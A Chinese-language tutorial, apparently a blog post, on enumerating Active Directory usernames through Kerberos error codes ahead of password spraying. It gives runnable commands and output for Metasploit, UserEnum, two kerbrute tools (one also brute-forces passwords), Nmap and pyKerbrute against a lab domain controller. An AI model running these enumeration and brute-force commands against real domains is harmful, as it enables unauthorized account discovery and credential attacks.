域渗透-用户名枚举
0x00 简介
在之前的一编域渗透-Kerberos认证文章中已经写过kerberos的认证过程,这次写的是如何去枚举域中的用户名,得到用户名后我们才可以做下一步的操作,比如密码喷洒等。
0x01 认证过程分析
对于用户名枚举需要对根据以下错误信息来辨别用户名是否正确:
| 用户状态 | Kerberos 错误信息 |
|---|---|
| 用户启用 | KDC_ERR_PREAUTH_REQUIRED |
| 用户锁定 | KDC_ERR_CLIENT_REVOKED |
| 用户不存在 | KDC_ERR_C_PRINCIPAL_UNKNOWN |
我们来看下用户不存在的AS_REQ包,主要是在cname的参数里面设置:

返回了一个PRINCIPAL_UNKNOWN 错误的包,:

那如果是用户名正确,密码不正确的包呢:

0x02 实战
从上面我们可以知道,通过返回不同的错误信息就可以知道是否存在正确的用户名,下面我们来通过几款枚举的工具进行实战。
Metasploit
aduser.txt文件是用户名列表文件,需要设置域控IP地址、域名信息
msf6 > use auxiliary/gather/kerberos_enumusersmsf6 auxiliary(gather/kerberos_enumusers) > show options
Module options (auxiliary/gather/kerberos_enumusers):
Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN yes The Domain Eg: demo.local RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 88 yes The target port Timeout 10 yes The TCP timeout to establish connection and read data USER_FILE yes Files containing usernames, one per line
msf6 auxiliary(gather/kerberos_enumusers) > set rhosts 172.16.0.106rhosts => 172.16.0.106msf6 auxiliary(gather/kerberos_enumusers) > set user_file ~/aduser.txtuser_file => ~/aduser.txtmsf6 auxiliary(gather/kerberos_enumusers) > set domain hack.labdomain => hack.labmsf6 auxiliary(gather/kerberos_enumusers) > exploit下面可以知道枚举出存在的域用户:

在运行完成之后会将结果保存在 metasploit 的数据库中,输入命令 creds即可查看存在的用户。
这里要注意如果存在AS-REPRoasting漏洞的用户会出现报错
UserEnum
这个项目提供了三个脚本,分别是使用DsrGetDcNameEx2,CLDAP ping和NetBIOS MailSlot ping三种方法去枚举。
下载:
git clone https://github.com/sensepost/UserEnum.git进入目录安装一下模块:
python2 -m pip install -r requirements.txt这里如果还是报错记得安装下面的版本:
python2 -m pip install asn1tools==0.100.0填写爆破信息,开始执行脚本:
python2 UserEnum_LDAP.py 172.16.0.106 hack.lab ~/aduser.txt会显示出爆破出的域用户:

Kerbrute(Go)
Kerbrute会发送没有预认证的TGT请求。如果KDC响应主本文未知错误,则不存在用户名。但是,如果KDC提示预先验证,我们知道用户名存在,我们继续。这不会导致任何登录失败,因此它不会锁定任何帐户。如果启用了Kerberos日志记录,则会生成Windows事件ID 4768。
下载地址:
https://github.com/ropnop/kerbrute/releases/tag/v1.0.3
因为我的是kali,所以选择 kerbrute_linux_amd64
下面填写域名和文件信息即可:
┌──(oscp㉿oscp)-[~/tools/windows]└─$ ./kerbrute_linux_amd64 userenum -d hack.lab ~/aduser.txt --dc 172.16.0.106
__ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __//_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 02/21/22 - Ronnie Flathers @ropnop
2022/02/21 21:21:28 > Using KDC(s):2022/02/21 21:21:28 > 172.16.0.106:88
2022/02/21 21:21:28 > [+] VALID USERNAME: lucky@hack.lab2022/02/21 21:21:28 > [+] VALID USERNAME: testuser@hack.lab2022/02/21 21:21:28 > [+] VALID USERNAME: testsql@hack.lab2022/02/21 21:21:28 > [+] VALID USERNAME: administrator@hack.lab2022/02/21 21:21:28 > [+] VALID USERNAME: sqlsql@hack.lab2022/02/21 21:21:28 > Done! Tested 8 usernames (5 valid) in 0.010 secondskerbrute(Python)
使用iPhacket库执行Kerberos Bruteforcing的脚本。
当执行时,作为输入,它会收到用户或密码列表或密码列表。然后是对枚举攻击进行枚举:
-
有效的用户名/密码对
-
有效的用户名
-
无需预先验证的用户名
因此,该脚本生成发现的有效凭据列表,而TGT生成的已生成这些有效凭据。
安装方法1:
sudo pip3 install kerbrute安装方法2:
git clone https://github.com/TarlogicSecurity/kerbrutecd kerbrutepip install -r requirements.txt可以看下命令参数:
root@kali:~# kerbruteImpacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS) [-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN [-dc-ip <ip_address>] [-threads THREADS] [-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments: -h, --help show this help message and exit -debug Turn DEBUG output ON -user USER User to perform bruteforcing -users USERS File with user per line -password PASSWORD Password to perform bruteforcing -passwords PASSWORDS File with password per line -domain DOMAIN Domain to perform bruteforcing -dc-ip <ip_address> IP Address of the domain controller -threads THREADS Number of threads to perform bruteforcing. Default = 1 -outputfile OUTPUTFILE File to save discovered user:password -no-save-ticket Do not save retrieved TGTs with correct credentials
Examples: ./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com填写相关的信息,执行:
kerbrute -users ./aduser.txt -domain hack.lab -dc-ip 172.16.0.106可以看到除了枚举域用户还可以检测出存在AS-REPRoasting漏洞的用户lucky:

krbguess
这个工具已经找不到下载地址了,我弄了一个放在了GitHub上,但是要求的java版本很低才能执行。
https://github.com/Secd0g/krbGuess/releases/tag/krbguess
命令参数:
Java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]Nmap krb5-enum-users NSE Script
使用的方法:
nmap --script krb5-enum-users –script-args krb5-enum-users.realm='[domain]',userdb=[user list][DC IP] -p 88
pyKerbrute
这是一款由3gstudent大佬改写的一款工具,使用Python快速BruteForce通过Kerberos预认证枚举有效的Active Directory帐户。
GitHub地址:https://github.com/3gstudent/pyKerbrute
git clone https://github.com/3gstudent/pyKerbrutecd pyKerbrute使用python2,因为kerberos是使用88端口进行通信的,可以使用tcp或者udp方式:
python2 EnumADUser.py 172.16.0.106 hack.lab ~/aduser.txt udp枚举结果:

0x03 总结
本文主要是通过在没有账户密码情况下对dc进行域用户进行枚举,如果在域用户登录情况下可以使用net user /domain来查询当前域的所有用户,但排除是在有权限查询的情况下,要不然你使用其他的工具也是白搭。